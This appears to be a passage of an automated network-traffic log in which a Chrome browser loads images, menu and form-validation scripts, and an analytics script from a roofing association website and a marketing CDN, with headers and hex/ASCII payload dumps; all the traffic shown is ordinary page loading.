2024-04-23 14:53:49 UTC	8192	IN	Data Raw: 0b ff 61 6e f9 6e d8 12 54 ea ab 05 70 51 e9 23 48 e7 cc 85 2a 86 81 0c 77 02 2c 86 98 66 b5 40 48 e4 dd 73 67 a1 a2 f7 f4 af 7e f5 d4 a4 c5 bf 7e 7c c6 cc 67 1f 7f 76 ae 85 49 64 22 32 b5 40 51 3b ea 05 6d f7 7b 67 28 5b 71 fb f6 6a 1f b3 84 99 e0 55 a4 74 95 2a 50 f1 a3 1f 4a 4b 61 ab b7 13 90 8b bf 81 44 f6 1d f9 a6 58 cc 5b 50 ff 63 18 84 f3 8a 46 de 28 52 c5 a6 1a aa 12 e6 45 a6 03 ec 36 96 8d c7 e4 d4 e3 ce 12 91 8f 14 af dd b8 f1 45 22 f2 8b f9 af 44 81 c8 49 15 5d 5d 13 3d ee a8 ce 6a 33 04 32 7d 76 56 b2 b9 df 42 46 a1 88 67 8e e3 e3 3f e3 5d f0 09 92 f9 a1 1a 9d f2 69 ed e9 d7 0b 03 b3 54 8c 94 a0 38 1e 4a e3 42 59 e0 62 69 08 5d a5 cc 71 e0 46 71 42 b8 e3 21 ca 59 c0 31 8b b1 a1 49 9c 10 4a b0 0e ae e2 a1 0b ba 90 26 a4 a0 4a dc 25 92 be 70 7d Data Ascii: annTpQ#Hw,f@Hsg~~\|gvId"2@Q;m{g([qjUtPJKaDX[PcF(RE6E"DI]]=j32}vVBFg?]iT8JBYbi]qFqB!Y1IJ&J%p}
2024-04-23 14:53:49 UTC	8192	IN	Data Raw: 04 ea 0c 5e 8d 3b 06 df ff fc 0b 70 e4 bb 6f be f9 f9 9b 6f be f9 57 6f fe cb db 4c 3a e2 5b 77 f8 9c 0e 27 9a 8c a4 d7 08 df 3e 4c 20 40 65 cb 31 5f 8e 47 67 09 80 39 7b e8 b3 20 fe 13 ea 09 c3 36 87 c5 a7 23 0a 63 cc e7 70 04 d8 de fc 98 1a 38 34 73 bd 6e 8b 9a df bd f7 87 54 79 93 07 ee 8f f0 e4 2f 35 10 56 cd f6 6a 8b f5 7b 7f 20 43 bc 17 7a d0 8f 6e 12 43 b9 1b 63 fa 23 95 1b d9 e4 8f c3 87 95 b7 ac 56 11 5f e5 31 eb 9e de f0 4a 74 2b 01 02 36 e1 da 8f 42 0a b0 a8 06 74 38 48 bd cf b7 12 55 96 0f b0 ab ba 56 f3 49 28 63 04 70 34 5b 60 7c 03 c4 e1 15 54 09 3b 12 dd 6c 82 2b 63 cb d9 6a 68 27 5a 85 1a d7 dd 44 b8 04 77 94 2f d6 0a 66 2c 0c d9 4d 6d e2 09 b0 f8 81 22 c4 b7 1f 40 9d b8 fd e4 01 c1 f8 89 06 c6 d7 09 c4 78 1d 39 3e 72 74 e4 dc d1 95 9a 9a Data Ascii: ^;pooWoL:[w'>L @e1_Gg9{ 6#cp84snTy/5Vj{ CznCc#V_1Jt+6Bt8HUVI(cp4[`\|T;l+cjh'ZDw/f,Mm"@x9>rt
2024-04-23 14:53:49 UTC	8192	IN	Data Raw: 94 5e 0d 86 fa c0 7b a1 47 58 49 99 01 c8 7c f6 f2 0c 79 e0 6b c3 df 1b 0c 25 50 70 9c 7a ab 8b c6 67 aa 34 06 5a 45 9c f2 bc e0 c1 c9 87 2e 3d dd 01 76 2f 96 6a 20 f2 f4 16 10 5b 92 5f 68 10 13 cf d9 e2 0e 41 57 90 38 94 83 03 6b 46 b7 14 04 60 77 f7 f9 3a ad d8 27 b4 2d 43 09 05 84 4d e2 26 75 87 56 6d 78 96 5d 1b 92 7c dd 1b c2 2f 9d c2 da f4 8d 77 eb 54 2f bc a0 c8 4b 0f 44 67 27 d5 89 4d f4 78 03 79 ef 6e dc 58 97 ad 99 de 14 13 17 85 02 31 0e 96 fc a8 f1 9e e8 1b 22 3e df 45 b5 25 41 76 75 55 41 b1 80 30 b3 1d b7 ef 2b a1 f8 28 e2 1b d8 37 39 30 b0 50 23 30 7a 7c 1d 90 f9 86 84 19 5a 05 70 18 57 01 ca e8 0c 3e 43 95 82 b8 cc 13 f9 33 64 c9 57 af 03 8f ef 83 1e 8f 1c 45 22 e4 5c cd 42 0d 8f f2 8a 72 f8 90 6b 06 72 07 16 97 f2 83 93 62 c9 3a 5d 95 5a Data Ascii: ^{GXI\|yk%Ppzg4ZE.=v/j [_hAW8kF`w:'-CM&uVmx]\|/wT/KDg'MxynX1">E%AvuUA0+(790P#0z\|ZpW>C3dWE"\Brkrb:]Z
2024-04-23 14:53:49 UTC	8192	IN	Data Raw: ee f1 a9 a2 59 be 53 79 86 28 06 67 6e 7c 3a 78 05 22 86 c8 18 1b c7 2d d9 b5 a7 96 36 49 05 5b 1f 4b 30 fa 0a 24 63 5d 20 61 3d f1 cf ed 3b d2 c5 0f 14 1c 51 e6 b7 ff 05 f5 3d e3 b4 23 a3 64 2d b1 3f 71 76 2f 1b e6 d9 2d 34 1b db 51 b8 08 2c 2e 2b cb 4c 62 c5 05 bb d9 80 fc bd 4f 7b fb 40 94 3f ec e8 8f 0e df f6 c6 bf ff fb 3f fd d3 bb 40 cd 7c f0 62 52 5f 4c e1 60 30 87 52 91 db 54 9d 5f 0e 2e 0b 3d 18 34 b6 ba 89 b5 ec a5 c3 c3 a5 8d 95 8d 2d 73 d5 f0 ba 81 1f 37 35 e5 13 6f e1 c4 80 6e 91 4b 18 87 24 5d b3 98 0b 80 07 c5 ae c0 db f2 e3 e5 8b 94 2e a0 43 03 bd e1 d4 00 ba 67 05 73 21 75 00 cd e9 84 5e ac 58 e4 f5 2c 48 19 b9 78 3a c8 cb 3a d9 08 39 04 e2 47 1e d0 1d b8 9e cb 01 20 fb e0 0b 53 96 19 b2 55 35 05 eb 2f 62 57 3d 3b bc 6b 57 54 f7 a6 ad c0 Data Ascii: YSy(gn\|:x"-6I[K0$c] a=;Q=#d-?qv/-4Q,.+LbO{@??@\|bR_L`0RT_.=4-s75onK$].Cgs!u^X,Hx::9G SU5/bW=;kWT
2024-04-23 14:53:49 UTC	8192	IN	Data Raw: 2b 60 18 59 d6 74 17 42 ba 78 0c 80 17 0a 07 83 9c 71 bb 56 9a 54 72 14 ee 8a b3 b5 08 ab a6 a3 4b b3 50 40 7d a2 1b 50 24 e1 19 ac 75 d7 67 ee e1 8a 8d 6e dc 5b fb 22 bc 71 6f 2c 6c 1e 11 ed d0 6c b9 66 f2 61 2b 91 4e 64 21 5f 5d de 94 10 b3 72 fc 0a b2 5b 38 fc 71 42 4b b7 94 48 84 73 c6 6c e3 cf 9d 5c 7a a5 70 ea f5 dc 5a d8 0f 97 bc 32 bf 12 0c b2 da 63 59 f6 f3 fa e0 6c 6e 30 ae 13 e5 e9 7b ab 37 56 21 a4 ef f9 c3 06 c8 81 53 6b 73 a7 d8 15 da 21 20 41 7d 48 7f 81 70 43 f4 37 73 38 04 86 71 6e 3e 25 57 48 73 3c b8 03 45 9b 34 6e 79 76 4a 6f 71 16 6e 25 c5 7b dc f2 b9 e5 b9 35 59 22 7e d3 b8 cb c6 cf 25 1a 43 d2 37 8f 39 ac 5d c9 a6 f4 d5 24 cc c0 c9 1c 8c 82 83 5b 35 48 c8 ec f6 38 0b 40 f9 fc dc 3c 14 57 0a 20 99 a7 dd d8 35 98 bd 9d 2f 40 6b 36 8f Data Ascii: +`YtBxqVTrKP@}P$ugn["qo,llfa+Nd!_]r[8qBKHsl\zpZ2cYln0{7V!Sks! A}HpC7s8qn>%WHs<E4nyvJoqn%{5Y"~%C79]$[5H8@<W 5/@k6
2024-04-23 14:53:49 UTC	8192	IN	Data Raw: 55 6e db e2 f6 ad bb 77 22 8d a3 3a ea 88 22 f0 9f 7d 22 f7 97 f7 bf 91 f6 0d 58 4e 60 f2 67 df 4c b1 db ab 94 84 0d 70 ec 30 c9 1b ac 2e 13 b3 6a 4e 99 5e 4b 2b 2c e9 ad 52 b1 99 00 aa ea f7 d8 4f 6b 96 76 ac 22 6c f3 4a 71 47 4b fa 56 de 79 e7 ce 9d a9 db a4 ef e9 ae b0 c0 bc d2 c6 d0 94 6d 15 7d f2 92 54 56 b6 49 a5 21 3b 35 63 2f 59 a0 a5 fd 52 54 28 6d 4e 88 5c 61 57 b6 a8 1f 55 a6 13 6c d7 ca 89 eb 97 1d 9b be 27 89 38 fa 3f 9a ba 7d e7 fe e7 6f dc be 73 e7 d6 89 8a 3a eb 33 e1 2b a5 95 4f 71 72 7c 4d a1 50 39 cc c8 89 77 df d5 1a b2 e5 ad ff 28 64 d3 b9 2c 12 68 7f 70 d7 b6 57 12 ab bf 04 6a 1f 4f 4c c9 5c ec 27 6d bd 77 10 16 f8 81 69 3f 65 1a 26 73 73 70 eb ee c1 2c db eb e5 67 ee 57 49 13 ef 60 74 26 0b 38 07 53 9e d5 a1 96 b1 b4 2b 83 4d c5 5b Data Ascii: Unw":"}"XN`gLp0.jN^K+,ROkv"lJqGKVym}TVI!;5c/YRT(mN\aWUl'8?}os:3+Oqr\|MP9w(d,hpWjOL\'mwi?e&ssp,gWI`t&8S+M[
2024-04-23 14:53:49 UTC	8192	IN	Data Raw: 7c 69 8d 22 8e 3b 15 c7 8c 89 1b 0e 1c 6b b8 4a cb 98 92 b9 1d 57 37 ea 10 d2 c6 b8 3d 2c 4f 77 67 63 9b 8e 09 8c ea b6 1a f9 ab 1c a0 a6 07 22 39 db 94 c6 be 7c a2 72 92 b2 32 7b f2 d1 78 f9 92 80 e4 ad f5 49 a9 14 3c a5 d0 fa 91 49 de 50 56 7a d1 7e 25 75 16 24 65 e5 17 d8 49 3a 63 28 a1 c1 27 d9 6e 89 f8 65 a7 47 bb 87 34 0c 45 65 d8 9d 07 44 d0 e2 b7 63 ef 27 5f 9f e0 d9 27 f3 73 49 41 5a 0d ba 8d 92 f4 34 03 46 90 8c 60 9f 7c 26 5f 4c cb 45 52 34 4f be 53 06 84 53 09 5d 30 20 75 73 89 a2 d9 b8 d5 40 c9 49 b6 85 10 c5 00 a8 20 5f 11 70 e3 5a f0 15 d4 a0 63 23 5e 08 62 c1 e9 62 e2 51 7b 6a 78 86 d5 46 d5 46 fd 07 f0 0c ae ca 73 0d 7d 0c 7d 52 62 71 c8 25 0a 2b f2 a5 e7 d8 6e af 56 0c 76 89 b1 16 22 91 09 3c ce e1 27 53 5b 98 0a 9b 53 58 46 14 67 52 b1 Data Ascii: \|i";kJW7=,Owgc"9\|r2{xI<IPVz~%u$eI:c('neG4EeDc'_'sIAZ4F`\|&_LER4OSS]0 us@I _pZc#^bbQ{jxFFs}}Rbq%+nVv"<'S[SXFgR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49794	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	461	OUT	GET /media/2017/04/logo.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:49 UTC	514	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: image/png Content-Length: 3342 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 15 Dec 2021 09:22:34 GMT ETag: "6001a1-d0e-5d32bd8912a80" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:49 UTC	3342	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f2 00 00 00 66 08 03 00 00 00 c6 41 3c c3 00 00 00 45 50 4c 54 45 47 70 4c e9 e8 e8 ab ac af c9 c6 c7 9f 9f a2 68 0d 05 d8 d7 d7 74 21 17 a7 a8 ac 05 05 05 96 57 51 b7 b8 ba 55 55 55 72 72 72 8c 8a 8a 16 16 16 31 31 31 ff ff ff 23 23 23 41 41 41 a8 74 6e c9 a8 a4 4b 10 0f e2 c4 38 94 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 0c 77 49 44 41 54 78 da ec 5b 09 63 a3 2a 10 96 43 8a e5 0c 34 ef ff ff d4 37 33 80 82 d1 36 ed 5e 4d 76 e9 6e 13 15 81 6f be b9 38 3a 4d ff ca bf f2 af fc 2b 6b 61 46 fd 6d 90 95 d6 46 fc 5d a8 8d d6 5a 6a cd ff 1e d8 8c eb 52 e4 5f c3 b6 a8 88 35 af b0 15 7b 7a bd 96 04 b7 71 ad a5 94 4f 0e 5b 35 82 79 fb 57 60 f3 e7 85 2d 64 d3 6a be 42 2f 3a 0e b0 c5 33 c2 66 7c d0 ea 15 Data Ascii: PNGIHDRfA<EPLTEGpLht!WQUUUrrr111###AAAtnK8tRNS@fwIDATx[c*C4736^Mvno8:M+kaFmF]ZjR_5{zqO[5yW`-djB/:3f\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49799	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	501	OUT	GET /wp-content/themes/u-design/assets/images/misc-sprite-sheet.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:49 UTC	517	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: image/png Content-Length: 21128 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e02516-5288-5b419ed103e00" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:49 UTC	7675	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 6c 00 00 06 23 08 06 00 00 00 4a d4 63 8f 00 00 52 4f 49 44 41 54 78 da ec dd 77 b8 15 d5 b9 3f f0 11 4b 8c 15 0b b1 d7 6b ec 2d 7a 2d 49 6c 11 83 d8 31 86 a8 51 ec 62 c3 ae 80 62 39 76 4d b0 03 82 0d 6c a8 d8 c0 de 10 51 ac 1c 01 01 a5 83 74 10 a5 88 22 08 b2 7e 6b 0d 7b 73 37 47 84 a3 e1 1c ce fd dd cf e7 79 5e 66 ef 99 35 73 9e e7 e5 9f ef b3 66 d6 ec 2c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e2 da b6 6d db be 32 fb 00 00 58 4a da b5 6b 17 62 f5 be fd f6 db 6b 2f 6a 1f 00 00 4b 37 b0 a5 9a d2 ba 75 eb 9d 7f 6e 1f 00 00 4b 3f b0 e5 75 cf 3d f7 9c b4 b0 7d 3a 05 00 50 43 02 5b ac 13 17 b6 4f a7 00 00 96 7e 60 9b 12 17 1b ec f4 73 fb 00 00 58 ba 81 ad 77 ac d5 17 Data Ascii: PNGIHDRl#JcROIDATxw?Kk-z-Il1Qbb9vMlQt"~k{s7Gy^f5sf,Xm2XJkbk/jK7unK?u=}:PC[O~`sXw
2024-04-23 14:53:49 UTC	8192	IN	Data Raw: 11 c2 52 9d 94 fd cf 2b 3e 76 5e cc d8 b2 42 a8 03 00 60 09 3a bf 12 21 ac f8 9c da ee 95 18 db 44 4b 01 00 96 ac 0b 2b 11 c2 1a 15 c6 ee 59 89 b1 97 69 29 00 c0 92 75 41 25 42 d8 c9 85 b1 7b 54 62 6c 33 2d 05 00 58 b2 1a 57 22 84 35 28 8c dd 26 33 c3 06 00 50 ed f6 ad 44 08 db ac 30 36 bd ba a3 e9 62 c6 9e a0 a5 00 00 4b 56 fa 55 83 93 17 11 c0 0e aa 30 7e 87 58 57 66 3f ff 6a 8f df 69 29 00 c0 92 b7 7c ac 3f c4 3a 25 9b 37 83 96 7e aa ea d8 58 5b fc cc f8 75 63 1d 96 cd 5b 61 9a c6 a7 95 a1 69 a6 ce 8f c0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 53 2c 1b ab 5e ac 53 62 ad 52 89 f1 eb c5 3a 3d d6 9e 5a 07 00 50 3d 7e 13 eb Data Ascii: R+>v^B`:!DK+Yi)uA%B{Tbl3-XW"5(&3PD06bKVU0~XWf?ji)\|?:%7~X[uc[aiPS,^SbR:=ZP=~
2024-04-23 14:53:49 UTC	5261	IN	Data Raw: c4 be 91 bb 11 49 f2 8f b9 0b 4f 64 b8 a7 71 b7 24 c9 d8 dc 8d 4a 92 51 f1 bf ed ff 01 00 00 00 00 da 85 0e f1 e5 3d 8a 3d 37 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 89 39 24 ac 4b 58 37 33 33 33 6b d1 a0 e8 ba a4 69 3a df cc cc cc 5a 36 e9 40 5b e8 16 7f f8 de 7a eb 2d 33 33 33 6b c1 a4 03 82 cd cc cc 4c b0 81 60 33 33 33 13 6c 08 36 33 33 33 c1 06 82 cd cc cc 4c b0 21 d8 cc cc cc 4c b0 21 d8 cc cc cc 04 1b 08 36 33 33 33 c1 86 60 33 33 33 13 6c 20 d8 cc cc cc 04 1b 82 4d b0 99 99 99 09 36 04 9b 99 99 99 60 03 c1 66 66 66 26 d8 10 6c 66 66 66 26 d8 10 6c 66 66 66 82 0d 04 9b 99 99 99 60 43 b0 99 99 99 09 36 Data Ascii: IOdq$JQ==7;@9$KX7333ki:Z6@[z-333kL`333l6333L!L!6333`333l M6`fff&lfff&lfff`C6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49800	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	711	OUT	GET /wp-content/themes/u-design/inc/frontend/superfish-menu/js/superfish.combined.js?ver=1.7.2 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:49 UTC	545	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: text/javascript Content-Length: 6726 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e0274b-1a46-5b419ed103e00" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:49 UTC	6726	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 66 6e 2e 68 6f 76 65 72 49 6e 74 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 29 7b 76 61 72 20 69 3d 7b 69 6e 74 65 72 76 61 6c 3a 31 30 30 2c 73 65 6e 73 69 74 69 76 69 74 79 3a 37 2c 74 69 6d 65 6f 75 74 3a 30 7d 3b 69 66 28 74 79 70 65 6f 66 20 74 3d 3d 3d 22 6f 62 6a 65 63 74 22 29 7b 69 3d 65 2e 65 78 74 65 6e 64 28 69 2c 74 29 7d 65 6c 73 65 20 69 66 28 65 2e 69 73 46 75 6e 63 74 69 6f 6e 28 6e 29 29 7b 69 3d 65 2e 65 78 74 65 6e 64 28 69 2c 7b 6f 76 65 72 3a 74 2c 6f 75 74 3a 6e 2c 73 65 6c 65 63 74 6f 72 3a 72 7d 29 7d 65 6c 73 65 7b 69 3d 65 2e 65 78 74 65 6e 64 28 69 2c 7b 6f 76 65 72 3a 74 2c 6f 75 74 3a 74 2c 73 65 6c 65 63 74 6f 72 3a 6e 7d 29 7d 76 61 72 20 73 2c 6f 2c 75 2c 61 3b 76 61 Data Ascii: (function(e){e.fn.hoverIntent=function(t,n,r){var i={interval:100,sensitivity:7,timeout:0};if(typeof t==="object"){i=e.extend(i,t)}else if(e.isFunction(n)){i=e.extend(i,{over:t,out:n,selector:r})}else{i=e.extend(i,{over:t,out:t,selector:n})}var s,o,u,a;va

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49801	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	685	OUT	GET /wp-content/themes/u-design/assets/js/frontend/script.js?ver=1.0 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:49 UTC	547	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: text/javascript Content-Length: 14693 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e0255b-3965-5b419ed103e00" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:49 UTC	7645	IN	Data Raw: 2f 2f 20 41 64 64 73 20 61 20 63 6c 61 73 73 20 27 6a 73 5f 6f 6e 27 20 74 6f 20 74 68 65 20 3c 68 74 6d 6c 3e 20 74 61 67 20 69 66 20 4a 61 76 61 53 63 72 69 70 74 20 69 73 20 65 6e 61 62 6c 65 64 20 61 6e 64 20 61 6c 73 6f 20 68 65 6c 70 73 20 72 65 6d 6f 76 65 20 66 6c 69 63 6b 65 72 69 6e 67 2e 0d 0a 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 2b 3d 20 27 20 6a 73 5f 6f 6e 20 27 3b 0d 0a 0d 0a 2f 2f 20 51 75 69 63 6b 20 73 63 72 69 70 74 20 74 6f 20 64 65 74 65 63 74 20 73 6f 6d 65 20 6d 6f 72 65 20 70 6f 70 75 6c 61 72 20 6d 6f 62 69 6c 65 20 64 65 76 69 63 65 73 2e 0d 0a 76 61 72 20 64 65 74 65 63 74 65 64 44 65 76 69 63 65 41 67 65 6e 74 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 Data Ascii: // Adds a class 'js_on' to the <html> tag if JavaScript is enabled and also helps remove flickering.document.documentElement.className += ' js_on ';// Quick script to detect some more popular mobile devices.var detectedDeviceAgent = navigator.user
2024-04-23 14:53:50 UTC	7048	IN	Data Raw: 72 6d 2e 76 61 6c 69 64 61 74 65 28 7b 0d 0a 09 20 20 20 20 72 75 6c 65 73 3a 20 7b 0d 0a 09 09 20 20 20 20 63 6f 6e 74 61 63 74 5f 6e 61 6d 65 3a 20 7b 0d 0a 09 09 09 20 20 20 20 72 65 71 75 69 72 65 64 3a 20 74 72 75 65 2c 0d 0a 09 09 09 20 20 20 20 6d 69 6e 6c 65 6e 67 74 68 3a 20 32 0d 0a 09 09 20 20 20 20 7d 2c 0d 0a 09 09 20 20 20 20 63 6f 6e 74 61 63 74 5f 65 6d 61 69 6c 3a 20 7b 0d 0a 09 09 09 20 20 20 20 72 65 71 75 69 72 65 64 3a 20 74 72 75 65 2c 0d 0a 09 09 09 20 20 20 20 65 6d 61 69 6c 3a 20 74 72 75 65 0d 0a 09 09 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 74 61 63 74 5f 63 6f 6e 73 65 6e 74 3a 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 Data Ascii: rm.validate({ rules: { contact_name: { required: true, minlength: 2 }, contact_email: { required: true, email: true }, contact_consent: { r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49802	104.26.14.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	538	OUT	GET /js/boomerang.min.js HTTP/1.1 Host: cdn.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:49 UTC	881	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 193474 Connection: close x-amz-id-2: LdTiXQ5hHlVcdIrOmDQS4Ag0tgaS/YzHNg10UgjJSDXIxPYszQGFAyovH+XACgZe7pAmNp9/8Xo= x-amz-request-id: SSQ6H5E1VQJAF2BS Last-Modified: Thu, 11 Apr 2024 19:05:07 GMT x-amz-version-id: vlIFmG8_cgr51HmXLXbNtnFuK3ZShbu. ETag: "0f03cb726e27f7ec9ff0d7fe50d7de72" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4143 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gx%2BNNNd54rghfIRdp2GzUawGY2EQTWHUs%2FQkKCM9%2BIfNhhOrCQ23jhvxS46rhOc1FiW71zfx%2BrA6qQK6D%2FnKRfsfJeP%2Fy9Q0Z%2BbeMxbxB0%2BjcJ56crb%2BaKTmZV%2BYVuQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eaf72a9581357-ATL
